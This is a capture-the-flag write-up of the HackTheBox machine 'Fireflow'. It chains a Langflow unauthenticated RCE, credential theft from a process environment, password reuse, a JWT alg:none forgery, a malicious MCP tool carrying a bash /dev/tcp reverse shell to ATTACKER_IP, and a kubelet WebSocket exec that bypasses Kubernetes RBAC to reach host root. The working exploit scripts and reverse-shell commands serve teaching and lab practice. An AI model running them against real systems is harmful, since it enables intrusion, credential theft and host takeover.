HTB: Fireflow
An unauthenticated Langflow RCE (CVE-2026-33017) leads to leaked superuser credentials via process environment, password reuse for user access, a JWT alg:none forgery against a custom MCP server, and finally a Kubernetes nodes/proxy verb bypass to a privileged pod for host root.

Enumeration
┌─[lyoo3@parrot]─[~/Desktop/CTFs/HTB/Fireflow]
└──╼ $nmap -A -p- -Pn -n -T4 -vv -oN nmap.txt 10.129.67.10
22/tcp open ssh syn-ack OpenSSH 9.6p1 Ubuntu
443/tcp open ssl/http syn-ack nginx
| ssl-cert: Subject: commonName=fireflow.htb/organizationName=Task Force Nightfall
|_http-title: Did not follow redirect to https://fireflow.htb/
443 redirects to fireflow.htb → add it to /etc/hosts.
Directory fuzzing on the main vhost turns up nothing but the index page:
┌─[lyoo3@parrot]─[~/Desktop/CTFs/HTB/Fireflow]
└──╼ $ffuf -u https://fireflow.htb/FUZZ -w /usr/share/wordlists/dirb/big.txt -e .php,.html,.htm,.txt,.json,.xml,.js
index.html [Status: 200, Size: 12913, Words: 2516, Lines: 299]
Vhost fuzzing is where the real surface shows up:
┌─[lyoo3@parrot]─[~/Desktop/CTFs/HTB/Fireflow]
└──╼ $ffuf -u https://fireflow.htb/ -H "Host:FUZZ.fireflow.htb" \
-w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -ac
flow [Status: 200, Size: 1142, Words: 132, Lines: 25]
The main site’s source also links the same subdomain directly (an “Open agent” button):
https://flow.fireflow.htb/playground/7d84d636-af65-42e4-ac38-26e867052c25 — add
flow.fireflow.htb to /etc/hosts too.
Foothold — Unauthenticated Langflow RCE (CVE-2026-33017)
flow.fireflow.htb is a chatbot built on Langflow, currently responding with a
placeholder “still under development” message — a dead end on its own, but the version
endpoint is unauthenticated:
curl https://flow.fireflow.htb/api/v1/version
# {"version":"1.8.2","main_version":"1.8.2","package":"Langflow"}
Langflow versions prior to 1.9.0 are vulnerable to CVE-2026-33017, an unauthenticated
RCE via the build_public_tmp flow-execution path (advisory):
git clone https://github.com/c0gnit00/CVE-2026-33017.git
cd CVE-2026-33017
python3 CVE-2026-33017.py --url https://flow.fireflow.htb \
--flow-id 7d84d636-af65-42e4-ac38-26e867052c25 --lhost ATTACKER_IP --lport 4444
The exploit runs arbitrary Python inside the Langflow process itself, so a listener
(nc -lvnp 4444) catches a shell as the service user:
www-data@fireflow:/var/lib/langflow$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Looting Langflow’s Data Directory
www-data@fireflow:/var/lib/langflow$ ls -la
drwxr-xr-x 4 www-data www-data 4096 May 12 15:28 ba4fe756-d6f7-4c7a-a7b1-f986206878ec
-rw-r--r-- 1 root root 0 Apr 9 14:41 langflow.db
drwxr-xr-x 4 www-data www-data 4096 May 12 15:28 profile_pictures
-rw------- 1 www-data www-data 43 Aug 5 22:46 secret_key
www-data@fireflow:/var/lib/langflow$ cat secret_key
XgDCYma6JZzT3XXyePTbr4vgWrrZ4Vzz-PCQ4PXfKgE
secret_keyis Langflow’s Fernet key (used to encrypt stored secrets in the DB).langflow.dbis 0 bytes and root-owned — a decoy; real config lives in the service environment instead.- The UUID folder only holds an MCP server config pointing at an internal API on
127.0.0.1:7860— no loot, but it confirms the internal Langflow port.
Credential Leak via Process Environment
The shell was spawned by the Langflow systemd service, so it inherits that service’s
environment — which leaks the superuser password in cleartext:
www-data@fireflow:/var/lib/langflow$ cat /proc/self/environ | tr '\0' '\n' | grep -iE 'langflow|secret|pass'
LANGFLOW_SUPERUSER=langflow
LANGFLOW_SUPERUSER_PASSWORD=n1[REDACTED]4ll
LANGFLOW_SECRET_KEY=XgDCYma6JZzT3XXyePTbr4vgWrrZ4Vzz-PCQ4PXfKgE
LANGFLOW_AUTO_LOGIN=False
Privesc to User (nightfall) — Password Reuse
Only one real login user besides root:
www-data@fireflow:/var/lib/langflow$ grep -E 'sh$' /etc/passwd
root:x:0:0:root:/root:/bin/bash
nightfall:x:1000:1000::/home/nightfall:/bin/bash
nightfall reuses the leaked Langflow superuser password:
www-data@fireflow:/var/lib/langflow$ su nightfall
Password: n1[REDACTED]4ll
nightfall@fireflow:/var/lib/langflow$ cd ~ && cat user.txt
5ea5[REDACTED]b801f
The same credential works over SSH too —
ssh nightfall@fireflow.htbgives a stable PTY instead of the fragile web shell.
Lateral Movement — Custom MCP Server
nightfall’s home has a hidden .mcp config leaking creds for a custom MCP server on
port 30080:
nightfall@fireflow:~$ cat ~/.mcp/config.json
{
"server": "http://10.129.67.10:30080",
"status_endpoint": "/api/v1/version",
"user": "langflow-bot",
"password": "Langfl0w@mcp2026!"
}
The version endpoint advertises the auth scheme — and critically lists none as a
supported JWT algorithm:
nightfall@fireflow:~$ curl -s http://10.129.67.10:30080/api/v1/version | python3 -m json.tool
{
"service": "MCP AI Tool Registry",
"auth": { "type": "JWT", "supported_algorithms": ["HS256", "none"] },
"endpoints": [
"POST /mcp",
"POST /api/v1/auth",
"GET /api/v1/tools",
"POST /api/v1/tools [admin]"
]
}
POST /api/v1/tools (register a tool, with a code field) is admin-only — an RCE sink
if it’s reachable. Authenticating with the leaked creds only yields a user-role token,
which that endpoint rejects:
nightfall@fireflow:~$ curl -s -X POST http://10.129.67.10:30080/api/v1/auth \
-H 'Content-Type: application/json' \
-d '{"username":"langflow-bot","password":"Langfl0w@mcp2026!"}'
{"access_token":"eyJ...","token_type":"bearer"}
nightfall@fireflow:~$ echo 'eyJ...' | cut -d. -f2 | base64 -d
{"sub":"langflow-bot","role":"user"}
# {"detail":"Admin role required"}
JWT alg:none Forgery → Admin
Since none is an accepted algorithm, a token with no signature and role flipped
to admin is trivially forged:
# craft.py
import base64, json
b64 = lambda d: base64.urlsafe_b64encode(json.dumps(d,separators=(",",":")).encode()).rstrip(b"=").decode()
header = b64({"alg":"none","typ":"JWT"})
payload = b64({"sub":"attacker","role":"admin"})
print(f"{header}.{payload}.") # trailing dot = empty signature
Malicious Tool Registration → Shell as mcp
With the forged admin token, register a tool whose code is arbitrary Python, then
invoke it via the MCP JSON-RPC endpoint:
nightfall@fireflow:~$ ADMIN_JWT=$(python3 craft.py)
nightfall@fireflow:~$ curl -s -X POST http://10.129.67.10:30080/api/v1/tools \
-H "Authorization: Bearer $ADMIN_JWT" -H 'Content-Type: application/json' \
-d '{"name":"shell","description":"x","inputSchema":{"type":"object","properties":{}},
"code":"import os;os.system(\"bash -c '\''bash -i >& /dev/tcp/ATTACKER_IP/9001 0>&1'\''\")"}'
{"status":"registered","name":"shell"}
nightfall@fireflow:~$ curl -s -X POST http://10.129.67.10:30080/mcp \
-H "Authorization: Bearer $ADMIN_JWT" -H 'Content-Type: application/json' \
-d '{"jsonrpc":"2.0","id":1,"method":"tools/call","params":{"name":"shell","arguments":{}}}'
$ nc -lvnp 9001
mcp@mcp-server-54464cb475-29ztf:/app$ id
uid=1000(mcp) gid=1000(mcp) groups=1000(mcp)
A JSON-RPC tool-runner is handy for enumeration without a full shell — register a tool whose code runs a
subprocessand returns stdout, thentools/callit with each command.
Privilege Escalation — Kubernetes nodes/proxy → Host Root
The hostname (mcp-server-54464cb475-29ztf) plus a mounted service-account token show
this shell is inside a k3s pod. Checking RBAC for that service account:
mcp@mcp-server:/app$ TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
mcp@mcp-server:/app$ curl -sk -X POST https://10.43.0.1/apis/authorization.k8s.io/v1/selfsubjectrulesreviews \
-H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" \
-d '{"apiVersion":"authorization.k8s.io/v1","kind":"SelfSubjectRulesReview","spec":{"namespace":"default"}}'
# {"verbs":["get"],"apiGroups":[""],"resources":["nodes/proxy"]}
get on nodes/proxy allows proxying to the kubelet API. Listing pods on the node
reveals a privileged pod with the host root filesystem mounted:
mcp@mcp-server:/app$ curl -sk -H "Authorization: Bearer $TOKEN" \
https://10.43.0.1/api/v1/nodes/fireflow/proxy/pods | python3 -m json.tool | grep -iE 'name|privileged|hostpath|"path"'
# [!] PRIVILEGED: monitoring/prometheus-prometheus-node-exporter-nmntq
# container: node-exporter hostPaths: ['/proc', '/sys', '/']
node-exporter runs privileged: true and mounts host / — executing inside it means
reading (or writing) any file on the host.
The Verb Trap: get vs create
kubeletctl talks directly to the kubelet, and its exec-upgrade is a POST requiring
verb=create, which this service account doesn’t have:
$ kubeletctl --server 127.0.0.1 --token "$TOKEN" exec "id" \
-p prometheus-prometheus-node-exporter-nmntq -c node-exporter -n monitoring
# unable to upgrade connection: Forbidden (verb=create, resource=nodes, subresource=[proxy])
The bypass: a WebSocket exec is technically a GET request → verb=get, which is
allowed. So the kubelet’s exec endpoint gets driven with a raw GET WebSocket handshake
instead of the higher-level tool.
WebSocket Exec → Root
The kubelet also listens on 127.0.0.1:10250 on the host itself, so this runs straight
from the nightfall SSH session — no extra tooling, no reverse shell back into the pod
needed. First, the pod’s service-account token is exfiltrated to the host (e.g. printed
from the mcp tool-runner and saved as /tmp/t.jwt on nightfall).
With no websockets library available on nightfall, the exec handshake and frame
parser are implemented stdlib-only:
# /tmp/x.py — stdlib-only kubelet exec over a raw GET WebSocket
import socket, ssl, base64, os, sys, struct, urllib.parse
HOST, PORT = "127.0.0.1", 10250
TOKEN = open("/tmp/t.jwt").read().strip()
NS, POD, C = "monitoring", "prometheus-prometheus-node-exporter-nmntq", "node-exporter"
CMD = ["/bin/sh","-c","id; echo '--- flag ---'; cat /host/root/root/root.txt"]
params = [("output","1"),("error","1")] + [("command",c) for c in CMD]
path = "/exec/%s/%s/%s?%s" % (NS,POD,C,urllib.parse.urlencode(params))
key = base64.b64encode(os.urandom(16)).decode()
req = ("GET %s HTTP/1.1\r\nHost: %s\r\nUpgrade: websocket\r\nConnection: Upgrade\r\n"
"Sec-WebSocket-Key: %s\r\nSec-WebSocket-Version: 13\r\n"
"Sec-WebSocket-Protocol: v4.channel.k8s.io\r\nAuthorization: Bearer %s\r\n\r\n") % (path,HOST,key,TOKEN)
ctx = ssl.create_default_context(); ctx.check_hostname=False; ctx.verify_mode=ssl.CERT_NONE
s = ctx.wrap_socket(socket.create_connection((HOST,PORT)), server_hostname=HOST)
s.sendall(req.encode())
# ... (minimal handshake read + WS frame parser, then print decoded stdout)
Running it as nightfall execs inside the privileged pod as root and reads the
flag straight through the host / mount:
nightfall@fireflow:~$ python3 /tmp/x.py
uid=0(root) gid=65534(nobody) groups=10(wheel),65534(nobody)
--- flag ---
a3c2[REDACTED]72fa6
The exec lands as root inside a container that mounts the host filesystem at
/host/root, so this is effectively full root on the host — swap the command for
chroot /host/root /bin/bash for an interactive root shell, or drop an SSH key into
/host/root/root/.ssh/authorized_keys.
Attack Chain Summary
- Recon →
flow.fireflow.htbvhost → Langflow 1.8.2. - CVE-2026-33017 (unauth RCE via
build_public_tmp+ malicious flowcode) → shell as www-data. - Password reuse — Langflow superuser password (leaked via process environment) reused by nightfall → SSH + user flag.
.mcp/config.jsonleaks creds to a custom MCP server → JWTalg:noneforgery → admin → malicious tool registration → shell as mcp (inside a k3s pod).nodes/proxy(get) + a privilegednode-exporterpod mounting host/→ WebSocket (GET) kubelet exec (bypassing thecreateverbkubeletctlneeds) → root on the host.
Takeaways
- Unauthenticated version endpoints are reconnaissance gold.
/api/v1/versionneeded no auth and immediately named the exact CVE to reach for. - Secrets in a process’s environment are inherited by anything that shell spawns
from it.
/proc/self/environhanded over the superuser password with zero privilege required beyond the initial RCE. alg:nonemust never be an accepted JWT algorithm. Its presence in the advertised algorithm list alone is a full auth-bypass primitive — no cryptographic attack needed, just an unsigned token.- Kubernetes RBAC verbs are not interchangeable. Having
getonnodes/proxylooks harmless next to thecreateverb a “normal” exec needs — but a WebSocket upgrade request is itself aGET, so the same permission that lets you list pods also lets you execute inside one. - A privileged pod mounting the host filesystem is host root, full stop — treat
hostPath: /plusprivileged: trueas equivalent to handing out the node’s root password.